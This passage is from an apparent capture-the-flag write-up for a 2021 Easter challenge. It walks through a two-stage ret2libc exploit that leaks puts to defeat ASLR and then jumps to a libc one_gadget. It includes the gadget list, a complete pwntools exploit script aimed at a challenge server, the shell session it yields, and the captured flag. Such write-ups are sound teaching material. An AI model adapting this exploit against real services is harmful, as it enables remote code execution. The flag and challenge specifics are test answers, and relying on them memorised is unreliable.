┌──(kali㉿kali)-[~/ctf/he21/36] └─$ one_gadget libc6-i386_2.27-3ubuntu1.4_amd64.so 0x3ccea execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x3ccec execve("/bin/sh", esp+0x38, environ) constraints: esi is the GOT address of libc [esp+0x38] == NULL 0x3ccf0 execve("/bin/sh", esp+0x3c, environ) constraints: esi is the GOT address of libc [esp+0x3c] == NULL 0x3ccf7 execve("/bin/sh", esp+0x40, environ) constraints: esi is the GOT address of libc [esp+0x40] == NULL 0x6739f execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x673a0 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL 0x13563e execl("/bin/sh", eax) constraints: ebx is the GOT address of libc eax == NULL 0x13563f execl("/bin/sh", [esp]) constraints: ebx is the GOT address of libc [esp] == NULL

Now we can proceed to the actual exploitation. The exploit consists of two steps.

At first the address of puts is leaked again, but this time in order to calculate the libc base address (influenced by ASLR). For the return address of the call to puts we set the address of main, which will make the execution proceed at the beginning after the leak. This allows us to exploit the vulnerability a second time (just opening a second connection does not work, since the leaked address is not valid anymore).

In the second step we use the determined libc base address to calculate the absolute address of a one_gadget and use this address to overwrite the return address on the stack.

Here is the script:

#!/usr/bin/env python3 from pwn import * offset = 13 puts_plt = 0x08048480 puts_got = 0x804a020 puts_offset = 0x67460 main = 0x80485e6 io = remote('46.101.107.117', 2113) # 1.) leak libc base address expl = b'A'*offset expl += p32(puts_plt) expl += p32(main) expl += p32(puts_got) io.sendline(expl) io.recvuntil('Mariner\n\n') r = io.recv(4) puts_addr = int.from_bytes(r, 'little') log.info('puts_addr: ' + hex(puts_addr)) libc_base = puts_addr - puts_offset log.info('libc_base: ' + hex(libc_base)) # 2.) overwrite return address with one_gadget og = 0x3ccea expl = b'A'*offset expl += p32(libc_base+og) io.sendline(expl) io.interactive()

Running the script yields a shell on the server:

┌──(kali㉿kali)-[~/ctf/he21/36] └─$ ./final.py [+] Opening connection to 46.101.107.117 on port 2113: Done [*] puts_addr: 0xf7d8e460 [*] libc_base: 0xf7d27000 [*] Switching to interactive mode \x10\xd6\xf70\xfe\xd3\xf7\xc0\xeb\xd8\xf7 Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you! Please press a key to continue! ━┏┛┃ ┃┏━┛ ┏━┃┛┏┏ ┏━┛ ┏━┃┏━┛ ━┏┛┃ ┃┏━┛ ┏━┃┏━ ┏━┛┛┏━┛┏━ ━┏┛ ┏┏ ┏━┃┏━┃┛┏━ ┏━┛┏━┃ ┃ ┏━┃┏━┛ ┏┏┛┃┃┃┃┏━┛ ┃ ┃┏━┛ ┃ ┏━┃┏━┛ ┏━┃┃ ┃┃ ┃┏━┛┃ ┃ ┃ ┃┃┃┏━┃┏┏┛┃┃ ┃┏━┛┏┏┛ ┛ ┛ ┛━━┛ ┛ ┛┛┛┛┛━━┛ ━━┛┛ ┛ ┛ ┛━━┛ ┛ ┛┛ ┛━━┛┛━━┛┛ ┛ ┛ ┛┛┛┛ ┛┛ ┛┛┛ ┛━━┛┛ ┛ ------------------------------------------------------- ... $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ ls -al total 56 drwxr-xr-x 1 root root 4096 Mar 3 12:11 . drwxr-xr-x 1 root root 4096 Mar 3 08:34 .. -rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc -rw-r--r-- 1 root root 807 Apr 4 2018 .profile -rwxrwxr-x 1 root root 7048 Mar 3 12:10 challenge3 -rwxrwxr-x 1 root root 25 Mar 3 12:10 flag -rw-rw-r-- 1 root root 607 Mar 3 12:10 heading -rwxrwxr-x 1 root root 18744 Mar 3 12:10 ynetd $ cat flag he2021{1nsp3ktorr_g4dg3t}

The flag is he2021{1nsp3ktorr_g4dg3t}.